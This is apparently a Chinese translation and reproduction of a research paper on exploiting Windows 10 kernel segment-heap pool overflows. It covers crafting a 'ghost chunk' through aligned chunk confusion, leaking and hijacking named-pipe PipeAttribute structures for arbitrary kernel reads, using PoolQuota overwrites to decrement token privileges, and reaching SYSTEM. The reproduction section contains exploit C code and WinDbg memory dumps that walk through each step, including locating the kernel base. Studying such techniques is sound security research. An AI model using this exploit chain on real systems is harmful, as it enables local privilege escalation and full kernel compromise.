* 使用受控的值覆盖下一个块的POOL_HEADER的前4个字节
当然，漏洞块分配在PagedPool中。这非常重要，因为池的类型也许会改变在利用中使用的对象，同时对利用程序自身也有很大的影响。此外，针对NonPagedPoolNx的利用是非常相似的，仅使用PipeQueueEntry就可以取代PipeAttribute，实现喷射并得到任意读原语。
对于这个例子，将选择0x180作为漏洞块的大小。关于漏洞块的大小和漏洞利用中的影响将在4.6节中讨论。
**创建幽灵块** 这里的第一步是处理堆，以便在漏洞块后放置受控的对象。
用来覆盖块的对象可以是任意的，唯一需要控制的是什么时候释放。为了简化利用，最好选择一个可以被喷射对象，在4.2节中可以看到。
现在可以触发漏洞了，被覆盖的POOL_HEADER要被以下值取代：
* PreviousSizes：0x15。此大小将乘以0x10。0x180-0x150=0x30，漏洞块中虚假的POOL_HEADER的偏移。
* PoolIndex：0，或者是任意值，这个值没有使用
* BlockSize：0，或者是任意值，这个值没有使用
* PoolType：PoolType|4，设置CacheAligned位
图16. 触发溢出
虚假的POOL_HEADER必须放在漏洞块的已知偏移处。这是通过释放漏洞块对象且使用PipeAttribute对象重新分配块实现的。
为了演示，虚假POOL_HEADER在易受攻击的块偏移0x30位置处。虚假的POOL_HEADER格式如下：
* PreviousSize：0，或任意值，这个值没有被使用
* PoolIndex：0，或任意值，这个值没有被使用
* BlockSize：0x21，这个值将乘以0x10，且是已释放的块的大小
* PoolType：PoolType，不要设置CacheAligned和PoolQuota位
BlockSize的选择不是随机的，它是实际要释放的块的大小。由于目标是在之后重用此分配，因此需要选一个易于重用的大小。由于所有小于0x200的块都在LFH中，因此必须避免这样的大小。不在LFH中的最小大小为0x200，块的大小为0x210。0x210大小使用VS
分配器，并且有资格使用2.1节中描述的动态快表。
可以通过喷射和释放0x210字节的块来启用。
现在可以释放被覆盖的块，并且这将触发缓存对齐。它将在OverwritenChunkAddress-（0x15*0x10）处释放区块，也是VulnerableChunkAddress+0x30处，而不是在被覆盖区块的地址释放区块。用于释放的块POOL_HEADER是虚假POOL_HEADER，内核并没有释放漏洞的块，而是释放了一个0x210大小的块，并且将其放在动态链表的顶部。在图17中进行了展示。
图17. 释放被覆盖的块
不幸的是，虚假POOL_HEADER的PoolType对释放的块是放在PagedPool还是NonPagedPoolNx中没有影响。
动态快表是由分配的段来选择的，该段是从块的地址派生的。它意味着如果漏洞块在Paged Pool中，那么幽灵块将被放在Paged Pool的快表中。
覆盖的块现在处于丢失状态；内核认为它已经释放了，并且块上的所有引用都已经被删除。它将不会再被使用了。
**泄露幽灵块的内容**
幽灵块现在也可以使用PipeAttribute对象重新分配。PipeAttribute结构会覆盖放在漏洞块的属性值。通过读此管道的属性值，就可以导致幽灵块的PipeAttribute属性内容被泄露。现在已知幽灵块和漏洞块的地址。这一步在图18中介绍了。
图18. 泄露幽灵块的属性
**得到一个任意读原语**
可以再次释放漏洞块，并使用其他的PipeAttribute再次分配。这时，PipeAttribute的数据将覆盖幽灵块的PipeAttribute。因此，幽灵块的PipeAttribute属性将被完全控制。一个新的PipeAttribute属性将被注入到位于用户层的列表中。这一步在图19中进行了介绍。
图19. 复写幽灵块的PipeAttribute
现在，通过请求读取幽灵块的PipeAttribute属性，内核将使用用户层的PipeAttribute，因此可以实现完全控制。正如之前看到的，通过控制属性值指针和属性值大小，可以提供到一个任意读原语。图20介绍了一个任意读原语。
图20. 使用注入的 PipeAttribute 进行任意读取
使用泄露的第一个指针和任意读原语，可以检索npfs的代码节上的指针。通过读取导入表，可以读取ntoskrnl代码节上的指针，它可以提供内核的基址。从那儿开始，攻击者能够读取ExpPoolQuotaCookie值，并检索EXP进程的EPROCESS结构体的地址和TOKEN的地址。
**得到一个任意递减原语** 首先，使用PipeQueueEntry在内核区精心制作一个虚假的EPROCESS结构，并使用任意读来检索它的地址。
然后，EXP可以再次释放和重新分配漏洞块，来改变幽灵块的内容和POOL_HEADER。
幽灵块的POOL_HEADER被下列值覆盖：
* PreviousSize：0，或者任意值，这个值没有使用
* PoolIndex：0，或者任意值，这个值没有使用
* BlockSize：0x21，这个值将乘以0x10
* PoolType：8，PoolQuota位被设置
* PoolQuota：ExpPoolQuotaCookie 异或FakeEprocessAddress 异或 GhostChunkAddress
释放幽灵块后，内核将尝试解引用与EPROCESS相关的Quota counter。它将使用虚假EPROCESS结构体来寻找要解引用的指针值。
这将提供任意递减原语。递减的值是PoolHeader中的BlockSize，所以它在0x0到0xff0以0x10对齐。
**从任意递减到System权限** 在2012年，Cesar
Cerrudo[3]描述了一种通过设置TOKEN结构体的Privileges.Enable字段来实现权限提升的技术。
Privileges.Enable字段保存了这个进程开启的权限。默认情况下，低完整性的Token的Privileges.Enable字段被设置为0x0000000000800000，这个值只会授予SeChangeNotifyPrivilege。将此位的值减去1，它将变成
0x000000000007fff，这将启用更多的权限。
在bit字段上设置第20bit，可以启用SeDebugPrivilege。SeDebugPrivilege允许一个进程调试系统上的任意进程。因此有能力注入任意代码到特权进程。
EXP在[1]介绍了配额进程指针覆盖（Quota Pointer Process
Overwrite），可以使用任意递减原语来设置其进程的SeDebugPrivilige权限。图21对这个技术进行了介绍。
图21. EXP利用任意递减原语获得SYSTEM权限
然而，自windows 10
v1607开始，内核开始检查Token结构体的Privileges.Present字段的值。Token的Privileges.Present字段可以通过使用AdjustTokenPrivileges
API开启权限列表。所以，Token的实际权限，现在是由Privileges.Present & Privileges.Enable的位域结果来定的。
默认情况下，低完整性级别的Token的Privileges.Present被设置为0x602880000。因为0x602880000 & (1<<20)
==0，在Privileges.Enabled中设置SeDebugPrivilege不足以获取SeDebugPrivilege。
为了获得Privileges.Present
bitfield中的SeDebugPrivilege，一个想法是递减Privileges.Present的bitfield。然后，攻击者可以使用AdjustTokenPrivileges
API来打开SeDebugPrivilege。然而，SepAdjustPrivileges函数额外进行了检查，并且这取决于Token的完整性，一个进程不能启用任意权限，即使需要的权限在Privileges.Present的bitfield中。对于高完整性级别，进程可以启用Privileges.Present位域中的任何权限。对于中完整性级别，一个进程只能开启Privileges.Present特权和0x1120160684位域。对于低完整性级别，一个进程只能开启Privileges.Present特权和0x202800000位域。
这意味着从单一的任意递减原语获取SYSTEM权限的技术已经凉凉。
但是，它完全可以用两种任意递减原语来实现，先递减Privileges.Enable，然后递减Privileges.Present。
幽灵块可以被重新分配，且它的POOL_HEADER可以被再次覆盖，来获得第二个任意递减。
一旦再次获取到SeDebugPrivilege，EXP即可打开任意SYSTEM权限进程，并注入shellcode实现弹出一个SYSTEM权限的shell。
### 4.6 讨论当前的EXP
所提供的漏洞利用代码可在 [2] 处获得，以及易受攻击的驱动程序。 这个漏洞只是一个概念证明，可以随时改进。
### 4.7 讨论漏洞对象的大小
根据易受攻击对象的大小，漏洞利用可能有不同的要求。
上述漏洞利用仅适用于最小大小为 0x130 的漏洞块。这是因为幽灵块的大小必须至少为0x210。
对于大小低于 0x130 的漏洞块，幽灵块的分配将覆盖被覆盖块后面的块，并在释放时触发崩溃。这是可修复的，但是留给读者自己去练习吧。
在LFH的漏洞对象（小于0x200的块）和VS段的漏洞对象（大于0x200）之间有一些不同。主要的是，在VS块的前面有额外的头。它意味着能够控制VS
segment 的下一个块的POOL_HEADER，至少需要堆溢出0x14个字节。这也意味着当覆盖的块将被释放时，它的
_HEAP_VS_CHUNK_HEADER
必须已修复。另外，要注意的是不能释放覆盖的块之后2个喷射了合适大小的块，因为VS的释放机制也许会读覆盖的块的头部企图合并3个空闲块。
最后，LFH和VS中的堆处理是相当不同的，正如4.4节中讲到的。
## 5 结论
这篇文章描述了自Windows 10
19H1以来池内部的一个状态。段堆被引入内核且不需要元数据来正常工作。然后，旧的POOL_HEADER依旧存在于每个块的头部，但用法不同。
我们演示了一些在内核中使用堆溢出的攻击，通过攻击特定池的内部。
演示的EXP可以适应任意可以提供最小堆溢出的漏洞，就可以实现从低完整性到SYSTEM完整性的本地权限提升。
## 6 引用
1. Corentin Bayet. Exploit of CVE-2017-6008 with Quota Process Pointer Overwrite attack. https://github.com/cbayet/Exploit-CVE-2017-6008/blob/master/Windows10PoolParty.pdf, 2017.
2. Corentin Bayet and Paul Fariello. PoC exploiting Aligned Chunk Confusion on Windows kernel Segment Heap. https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion, 2020.
3. Cesar Cerrudo. Tricks to easily elevate its privileges. https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf, 2012.
4. Matt Conover and w00w00 Security Development. w00w00 on Heap Overflows. http://www.w00w00.org/files/articles/heaptut.txt, 1999.
5. Tarjei Mandt. Kernel Pool Exploitation on Windows 7. Blackhat DC, 2011.
6. Haroon Meer. Memory Corruption Attacks The (almost) Complete History. BlackhatUSA, 2010.
7. Mark Vincent Yason. Windows 10 Segment Heap Internals. Blackhat US, 2016.
## 7 复现
原作者在写这边文章的同时，提供了一个demo用演示上述文章内提到的利用技术，这里我们来复现这个demo。
demo总共分为两部分，分别为漏洞驱动程序和EXP。漏洞驱动使用Visual Studio编译，EXP需要使用GCC编译。
demo本身实现了两种后端分配器（LFH和VS）的利用，但是在上述文章中是以LFH来进行讲解，所以我们复现也以LFH后端进行复现。
这里我们按照EXP的执行流程进行分析，关于EXP中如何创建管道，如何构造Pipe_Attribute等内容，都很好理解，自行阅读源码即可，就不浪费时间分析了，这里主要复现和分析漏洞利用的关键过程。
## 1\. 申请漏洞块
使用已经构造好的pipe_attribute来给管道设置属性，实现可以预测的漏洞块的申请。
spray_pipes(spray1);
uintptr_t vuln = alloc_vuln(xploit);
printf("Vulnerable allocation is at 0x%016llX", vuln);
spray_pipes(spray2);
//spray1和spray2是构造好的pipe_attribute属性
申请的漏洞块如下所示
0: kd> !pool 0xFFFFB80008CFB3F0
Pool page ffffb80008cfb3f0 region is Paged pool
ffffb80008cfb0c0 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfb250 size: 190 previous size: 0 (Allocated) NpAt
*ffffb80008cfb3e0 size: 190 previous size: 0 (Allocated) *VULN //这里就是申请的漏洞块
Owning component : Unknown (update pooltag.txt)
ffffb80008cfb570 size: 190 previous size: 0 (Allocated) NpAt //与漏洞块相邻的是即将被漏洞块溢出后所覆盖的块，之后我们称之为相邻块
ffffb80008cfb700 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfb890 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfba20 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfbbb0 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfbd40 size: 190 previous size: 0 (Allocated) NpAt
触发漏洞前，漏洞块和相邻块的原始值
0: kd> dq ffffb80008cfb3e0
ffffb800`08cfb3e0 4e4c5556`03190000 ffffffff`ffffffff
ffffb800`08cfb3f0 00009d70`0000000a ffffffff`00000168
ffffb800`08cfb400 00000000`00000000 00000056`0000003a
ffffb800`08cfb410 0000000a`00000000 7865646e`49707041
ffffb800`08cfb420 00000000`00007265 000f6b76`ffffffd8
ffffb800`08cfb430 00009670`0000001e 00000001`05f5e10c
ffffb800`08cfb440 4c646578`65646e49 00656761`75676e61
ffffb800`08cfb450 72c66400`fffffff0 00000101`d7ac7dbd
0: kd> dt nt!_POOL_HEADER ffffb80008cfb3e0
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00011001 (0x19)
+0x002 PoolType : 0y00000011 (0x3)
+0x000 Ulong1 : 0x3190000
+0x004 PoolTag : 0x4e4c5556
+0x008 ProcessBilled : 0xffffffff`ffffffff _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xffff
+0x00a PoolTagHash : 0xffff
0: kd> dq ffffb80008cfb570
ffffb800`08cfb570 7441704e`03196900 00000000`ffffffe8 //触发漏洞后，相邻块的POOL_HEADER会被修改
ffffb800`08cfb580 ffffb800`09069850 ffffb800`09069850
ffffb800`08cfb590 ffffb800`08cfb5a8 00000000`00000156
ffffb800`08cfb5a0 ffffb800`08cfb5aa 41414141`4141005a
ffffb800`08cfb5b0 41414141`41414141 41414141`41414141
ffffb800`08cfb5c0 41414141`41414141 41414141`41414141
ffffb800`08cfb5d0 41414141`41414141 41414141`41414141
ffffb800`08cfb5e0 41414141`41414141 41414141`41414141
0: kd> dt nt!_POOL_HEADER ffffb80008cfb570
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y01101001 (0x69)
+0x002 BlockSize : 0y00011001 (0x19)
+0x002 PoolType : 0y00000011 (0x3)
+0x000 Ulong1 : 0x3196900
+0x004 PoolTag : 0x7441704e
+0x008 ProcessBilled : 0x00000000`ffffffe8 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xffe8
+0x00a PoolTagHash : 0xffff
## 2\. 触发漏洞
对漏洞块执行复制操作，使其发生溢出，修改相邻块的POOL_HEADER，接着释放漏洞块，同时使用respray再次占用漏洞块。使用respray再次占用漏洞块的目的是为了给幽灵块构造一个POOL_HEADER。
trigger_vuln(xploit, overflow, xploit->offset_to_pool_header + 4);
free_vuln();
spray_pipes(xploit->respray);
触发漏洞后，相邻块的POOL_HEADER如下
0: kd> !pool 0xFFFFB80008CFB3F0
Pool page ffffb80008cfb3f0 region is Paged pool
ffffb80008cfb0c0 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfb250 size: 190 previous size: 0 (Allocated) NpAt
*ffffb80008cfb3e0 size: 190 previous size: 0 (Allocated) *NpAt
Owning component : Unknown (update pooltag.txt)
//因为我们已经通过溢出修改了相邻块的POOL_HEADER,所以系统认为当前的相邻块不是有效的池分配。
ffffb80008cfb570 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
ffffb80008cfb570 is not a valid large pool allocation, checking large session pool...
Unable to read large session pool table (Session data is not present in mini and kernel-only dumps)
ffffb80008cfb570 is not valid pool. Checking for freed (or corrupt) pool
Bad allocation size @ffffb80008cfb570, zero is invalid
***
*** An error (or corruption) in the pool was detected;
*** Attempting to diagnose the problem.
***
*** Use !poolval ffffb80008cfb000 for more details.
Pool page [ ffffb80008cfb000 ] is INVALID.
Analyzing linked list...
Scanning for single bit errors...
None found
0: kd> dq ffffb80008cfb3e0 //这里是被respray再次占用的漏洞块
ffffb800`08cfb3e0 7441704e`03190000 ffffffff`ffffffff
ffffb800`08cfb3f0 ffffb800`09109830 ffffb800`09109830
ffffb800`08cfb400 ffffb800`08cfb418 00000000`00000156
ffffb800`08cfb410 ffffb800`08cfb41a 42424242`4242005a
ffffb800`08cfb420 ffffffaf`00210000 42424242`42424242 //respray对原始的pipe_attribute值进行了修改，这里被赋值为幽灵块的POOL_HADER
ffffb800`08cfb430 42424242`42424242 42424242`42424242
ffffb800`08cfb440 42424242`42424242 42424242`42424242
ffffb800`08cfb450 42424242`42424242 42424242`42424242
0: kd> dt nt!_POOL_HEADER ffffb800`08cfb420
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00100001 (0x21) //幽灵块的大小 0x210/0x10
+0x002 PoolType : 0y00000000 (0)
+0x000 Ulong1 : 0x210000
+0x004 PoolTag : 0xffffffaf
+0x008 ProcessBilled : 0x42424242`42424242 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x4242
+0x00a PoolTagHash : 0x4242
0: kd> dq ffffb80008cfb570
ffffb800`08cfb570 7441704e`04000015 00000000`ffffffe8 //可以看到，相邻块的POOL_HEADER已被修改
ffffb800`08cfb580 ffffb800`09069850 ffffb800`09069850
ffffb800`08cfb590 ffffb800`08cfb5a8 00000000`00000156
ffffb800`08cfb5a0 ffffb800`08cfb5aa 41414141`4141005a
ffffb800`08cfb5b0 41414141`41414141 41414141`41414141
ffffb800`08cfb5c0 41414141`41414141 41414141`41414141
ffffb800`08cfb5d0 41414141`41414141 41414141`41414141
ffffb800`08cfb5e0 41414141`41414141 41414141`41414141
0: kd> dt nt!_POOL_HEADER dq ffffb80008cfb570
Cannot find specified field members.
0: kd> dt nt!_POOL_HEADER ffffb80008cfb570
+0x000 PreviousSize : 0y00010101 (0x15)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00000000 (0)
+0x002 PoolType : 0y00000100 (0x4)
+0x000 Ulong1 : 0x4000015
+0x004 PoolTag : 0x7441704e
+0x008 ProcessBilled : 0x00000000`ffffffe8 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xffe8
+0x00a PoolTagHash : 0xffff
从上图我们可以看到，相邻块的POOL_HEADER中PreviousSize和PoolType已经被修改，且PoolType的CacheAligned位被设置，那么从原作者的文章中我们可以了解到，当一个块的PoolType的CacheAligned位被设置，那么在释放这个块时，它将尝试寻找原始的块地址，以便正确的释放此块。
原始块地址计算方法如下：
if ( AlignedHeader ->PoolType & 4 )
{
OriginalHeader = (QWORD)AlignedHeader - AlignedHeader ->PreviousSize * 0x10;
OriginalHeader ->PoolType |= 4;
}
由上面的调试可知，原始的块地址为：`ffffb80008cfb570 - 0x15 * 0x10 = ffffb80008cfb420`
通过释放相邻块，即可触发对幽灵块的释放，所以我们将会得到一个大小为0x210的空闲堆。
## 3\. 申请幽灵块
对相邻块进行释放，即可得到一个空闲的大小为0x210的幽灵块
spray_pipes(xploit->lookaside1);
sleep(2);
spray_pipes(xploit->lookaside2);
sleep(1);
free_pipes(spray1);
free_pipes(spray2);//这里对相邻块进行了释放
printf("[+] Alloc ghost !\n");
xploit->alloc_ghost_chunk(xploit, attribute);//通过给管道设置属性，来申请刚刚释放的幽灵块。
申请到的幽灵块如下
0: kd> dq ffffb80008cfb3e0
ffffb800`08cfb3e0 7441704e`03190000 ffffffff`ffffffff //这里是通过respray重新占用的漏洞块的POOL_HEADER,大小为0x190
ffffb800`08cfb3f0 ffffb800`09109830 ffffb800`09109830
ffffb800`08cfb400 ffffb800`08cfb418 00000000`00000156
ffffb800`08cfb410 ffffb800`08cfb41a 42424242`4242005a
ffffb800`08cfb420 7441704e`03210000 42424242`42424242 //这里是幽灵块，大小为0x210
ffffb800`08cfb430 ffffb800`0885a190 ffffb800`0885a190
ffffb800`08cfb440 ffffb800`08cfb458 00000000`000001d6
ffffb800`08cfb450 ffffb800`08cfb45a 43434343`4343005a
0: kd> dt nt!_POOL_HEADER ffffb800`08cfb420
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00100001 (0x21)
+0x002 PoolType : 0y00000011 (0x3)
+0x000 Ulong1 : 0x3210000
+0x004 PoolTag : 0x7441704e
+0x008 ProcessBilled : 0x42424242`42424242 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x4242
+0x00a PoolTagHash : 0x4242
0: kd> dq ffffb800`08cfb420
ffffb800`08cfb420 7441704e`03210000 42424242`42424242
ffffb800`08cfb430 ffffb800`0885a190 ffffb800`0885a190
ffffb800`08cfb440 ffffb800`08cfb458 00000000`000001d6
ffffb800`08cfb450 ffffb800`08cfb45a 43434343`4343005a
ffffb800`08cfb460 43434343`43434343 43434343`43434343
ffffb800`08cfb470 43434343`43434343 43434343`43434343
ffffb800`08cfb480 43434343`43434343 43434343`43434343
ffffb800`08cfb490 43434343`43434343 43434343`43434343
从上图我们可以发现，实际上，通过上面的操作，漏洞块和幽灵块共享了同一部分内存，也就是从漏洞块POOL_HEADER处偏移0x40的位置开始，漏洞块和幽灵块共享了0x150大小的内存。
## 4\. 信息泄露
if (!xploit->get_leak(xploit, xploit->respray))
return 0;
int get_leak(xploit_t * xploit, pipe_spray_t * respray)
{
char leak[0x1000] = {0};
//#define ATTRIBUTE_NAME "Z"
xploit->leak_offset = xploit->targeted_vuln_size + xploit->offset_to_pool_header - xploit->backward_step - xploit->struct_header_size - ATTRIBUTE_NAME_LEN; //leak_offset=0x6
LOG_DEBUG("Leak offset is 0x%X", xploit->leak_offset);
// leak the data contained in ghost chunk
xploit->leaking_pipe_idx = read_pipes(respray, leak);//int read_pipes(pipe_spray_t * pipe_spray, char * leak)
if (xploit->leaking_pipe_idx == -1)
{
if (xploit->backend == LFH)
fprintf(stderr, "[-] Reading pipes found no leak :(\n");
else
LOG_DEBUG("Reading pipes found no leak");
return 0;
}
LOG_DEBUG("Pipe %d of respray leaked data !", xploit->leaking_pipe_idx);
// leak pipe attribute structure !
xploit->leak_root_attribute = *(uintptr_t *)((char *)leak + xploit->leak_offset + 0x10); // list.next
xploit->leak_attribute_name = *(uintptr_t *)((char *)leak + xploit->leak_offset + 0x20); // AttributeName
// 0x10 is POOL_HEADER
xploit->ghost_chunk = xploit->leak_attribute_name - LEN_OF_PIPE_ATTRIBUTE_STRUCT - POOL_HEADER_SIZE;
printf("[+] xploit->leak_root_attribute ptr is 0x%llX\n", xploit->leak_root_attribute);
printf("[+] xploit->ghost_chunk ptr is 0x%llX\n", xploit->ghost_chunk);
return 1;
}
目前我们已经构造出漏洞块和幽灵块共享同一块内存的局面，且我们准确的知道幽灵块与漏洞块的偏移值。所以实际上可以通过NtFsControlFile来获取漏洞块的属性值，那么实际获取到的其实是幽灵块的Pipe_Attribute结构的值。因为在后面的利用中，我们要给幽灵块伪造一个Fake_Pipe_Attribute，同时在利用结束后，需要恢复幽灵块的Pipe_Attribute的原始值，以防蓝屏，所以这里要对原始的Pipe_Attribute值进行保存。
## 5\. 幽灵块设置Fake_Pipe_Attribute
因为幽灵块和漏洞块共享同一块内存，所以要修改幽灵块的Pipe_Attribute，实际只需要修改漏洞块的Pipe_Attribute值即可。
xploit->setup_ghost_overwrite(xploit, rewrite_buf);
xploit->rewrite = prepare_pipes(SPRAY_SIZE * 4, xploit->targeted_vuln_size + POOL_HEADER_SIZE, rewrite_buf, xploit->spray_type);
close_pipe(&xploit->respray->pipes[xploit->leaking_pipe_idx]);//释放漏洞块
spray_pipes(xploit->rewrite);//再次占用漏洞块
void setup_ghost_overwrite(xploit_t * xploit, char * ghost_overwrite_buf)
{
pipe_attribute_t * overwritten_pipe_attribute;
strcpy(ghost_overwrite_buf, ATTRIBUTE_NAME);
overwritten_pipe_attribute = (pipe_attribute_t*)((char *)ghost_overwrite_buf + xploit->ghost_chunk_offset + POOL_HEADER_SIZE);
// 使指向下一个属性的指针在用户层
overwritten_pipe_attribute->list.Flink = (LIST_ENTRY *)xploit->fake_pipe_attribute;
// 虚拟值，必须在退出前修复它以避免崩溃
overwritten_pipe_attribute->list.Blink = (LIST_ENTRY *)0xDEADBEEFCAFEB00B;
// 将属性名设置为一个错误的值，这样当我们试图从这里读取和属性时，就永远找不到它，所以它总是会去下一个指向userland的属性
overwritten_pipe_attribute->AttributeName = DUMB_ATTRIBUTE_NAME;
overwritten_pipe_attribute->ValueSize = 0x1;
overwritten_pipe_attribute->AttributeValue = DUMB_ATTRIBUTE_NAME;
}
修改后的幽灵块的Pipe_Attribute
0: kd> dq ffffb80008cfb3e0 //这里是被rewrite再次占用的幽灵块
ffffb800`08cfb3e0 7441704e`03190000 ffffffff`ffffffff
ffffb800`08cfb3f0 ffffb800`0906fbb0 ffffb800`0906fbb0
ffffb800`08cfb400 ffffb800`08cfb418 00000000`00000156
ffffb800`08cfb410 ffffb800`08cfb41a 45454545`4545005a
ffffb800`08cfb420 45454545`45454545 45454545`45454545 //幽灵块的Pipe_Attribute已经被成功修改。
ffffb800`08cfb430 00000000`00bd1440 deadbeef`cafeb00b //List_next已经被修改为指向用户层的Fake_Pipe_Attribute的指针
ffffb800`08cfb440 00000000`0040e85c 00000000`00000001
ffffb800`08cfb450 00000000`0040e85c 45454545`45454545
## 6\. 任意地址读原语
经过上面第五步的操作，实际上我们已经获得了一个任意地址读原语。
在第五步的操作中，我们将幽灵块的Pipe_Attribute进行了修改，Pipe_Attribute的结构如下。
//PipeAttribute是未公开的结构体
struct PipeAttribute {
LIST_ENTRY list;
char * AttributeName;
uint64_t AttributeValueSize ;
char * AttributeValue ;
char data [0];
};
有一个已知的情况是，分页池创建管道后，用户可以向管道添加属性，同时属性值分配的大小和填充的数据完全由用户来控制。
AttributeName和AttributeValue是指向数据区不同偏移的两个指针。
同时在用户层，可以使用0x110038控制码来读取属性值。AttributeValue指针和AttributeValueSize大小将被用于读取属性值并返回给用户。
属性值可以被修改，但这会触发先前的PipeAttribute的释放和新的PipeAttribute的分配。
这意味着如果攻击者可以控制PipeAttribute结构体的AttributeValue和AttributeValueSize字段，它就可以在内核中任意读取数据，但不能任意写。
所以，现在我们控制了幽灵块中Pipe_Attribute的List_next指针值，使其指向用户层的Pipe_Attribute，也就意味着用户层的PipeAttribute结构体的AttributeValue和AttributeValueSize字段我们可以任意指定，也就可以在内核中任意读取数据数据，即获得了一个任意地址读原语。
## 7\. 获取kernel_base
void find_kernel_base(xploit_t * xploit)
{
uintptr_t file_object_ptr = 0;
uintptr_t file_object;
uintptr_t device_object;
uintptr_t driver_object;
uintptr_t NpFsdCreate;
file_object_ptr = xploit->find_file_object(xploit);
// Get the leak of ntoskrnl and npfs
exploit_arbitrary_read(xploit, file_object_ptr, (char *)&file_object, 0x8);//文件对象
printf("[+] File object is : 0x%llx\n", file_object);
exploit_arbitrary_read(xploit, file_object+8, (char *)&device_object, 0x8);//设备对象
printf("[+] Device object is : 0x%llx\n", device_object);
exploit_arbitrary_read(xploit, device_object+8,(char *)&driver_object, 0x8);//驱动对象
printf("[+] Driver object is : 0x%llx\n", driver_object);
exploit_arbitrary_read(xploit, driver_object+0x70, (char *)&NpFsdCreate, 0x8);//驱动的第一个派遣函数
printf("[+] Major function is : 0x%llx\n", NpFsdCreate);
uintptr_t ExAllocatePoolWithTag_ptr = NpFsdCreate - NPFS_NPFSDCREATE_OFFSET + NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET;//通过驱动派遣函数先获取到该驱动的基址，然后加上ExAllocatePoolWithTag函数在该驱动的导入表的偏移
uintptr_t ExAllocatePoolWithTag;
exploit_arbitrary_read(xploit, ExAllocatePoolWithTag_ptr, (char *)&ExAllocatePoolWithTag, 0x8);//从导入表中获取ExAllocatePoolWithTag函数的实际地址
printf("[+] ExAllocatePoolWithTag is : 0x%llx\n", ExAllocatePoolWithTag);
xploit->kernel_base = ExAllocatePoolWithTag - NT_ALLOCATEPOOLWITHTAG_OFFSET;//ExAllocatePoolWithTag函数的地址减去nt中的偏移，就拿到了nt的基址
}
0: kd> dt _FILE_OBJECT 0xFFFFE103010A18F0
ntdll!_FILE_OBJECT
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffffe102`faf538f0 _DEVICE_OBJECT
+0x010 Vpb : (null)
+0x018 FsContext : 0xffffb800`09002980 Void
+0x020 FsContext2 : 0xffffb800`0885a051 Void
..................................................
0: kd> dt _DEVICE_OBJECT 0xffffe102`faf538f0
ntdll!_DEVICE_OBJECT
+0x000 Type : 0n3
+0x002 Size : 0x308
+0x004 ReferenceCount : 0n2768
+0x008 DriverObject : 0xffffe102`facd8ce0 _DRIVER_OBJECT
+0x010 NextDevice : (null)
+0x018 AttachedDevice : 0xffffe102`fc56ace0 _DEVICE_OBJECT
............................................................
0: kd> dt _DRIVER_OBJECT 0xffffe102`facd8ce0
ntdll!_DRIVER_OBJECT
+0x000 Type : 0n4
+0x002 Size : 0n336
+0x008 DeviceObject : 0xffffe102`faf538f0 _DEVICE_OBJECT
+0x010 Flags : 0x12
+0x018 DriverStart : 0xfffff803`3f090000 Void
+0x020 DriverSize : 0x1c000
+0x028 DriverSection : 0xffffe102`faa457c0 Void
+0x030 DriverExtension : 0xffffe102`facd8e30 _DRIVER_EXTENSION
+0x038 DriverName : _UNICODE_STRING "\FileSystem\Npfs"
+0x048 HardwareDatabase : 0xfffff803`3a3af8f8 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x050 FastIoDispatch : 0xffffe102`fa77ae60 _FAST_IO_DISPATCH
+0x058 DriverInit : 0xfffff803`3f0a8010 long Npfs!GsDriverEntry+0
+0x060 DriverStartIo : (null)
+0x068 DriverUnload : (null)
+0x070 MajorFunction : [28] 0xfffff803`3f09b670 long Npfs!NpFsdCreate+0
0: kd> ? 0xfffff803`3f09b670-0xB670
Evaluate expression: -8782150565888 = fffff803`3f090000 //这就是Npfs的基址
0: kd> lmDvmNpfs
Browse full module list
start end module name
fffff803`3f090000 fffff803`3f0ac000 Npfs (pdb symbols) d:\symbolsxp\npfs.pdb\D55EC1D15C78BD2E15ACB3E1D6A1A1111\npfs.pdb
Loaded symbol image file: Npfs.SYS
Image path: Npfs.SYS
Image name: Npfs.SYS
Browse all global symbols functions data
Image was built with /Brepro flag.
Timestamp: B03ECFD3 (This is a reproducible build file hash, not a timestamp)
CheckSum: 000252E2
ImageSize: 0001C000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
Unable to enumerate user-mode unloaded modules, Win32 error 0n30
0: kd> ? fffff803`3f090000 + 0x7050
Evaluate expression: -8782150537136 = fffff803`3f097050
0: kd> ln fffff803`3f097050
Browse module
Set bu breakpoint
(fffff803`3f097050) Npfs!_imp_ExAllocatePoolWithTag | (fffff803`3f097058) Npfs!_imp_ExFreePoolWithTag
Exact matches:
0: kd> dq fffff803`3f097050 L1
fffff803`3f097050 fffff803`39d6f010
0: kd> ln fffff803`39d6f010
Browse module
Set bu breakpoint
(fffff803`39d6f010) nt!ExAllocatePoolWithTag | (fffff803`39d6f0a0) nt!ExFreePool
Exact matches:
nt!ExAllocatePoolWithTag (void)
0: kd> ? fffff803`39d6f010 - 0x36f010
Evaluate expression: -8782241333248 = fffff803`39a00000 //这就是kernel_base
0: kd> lmDvmNT
Browse full module list
start end module name
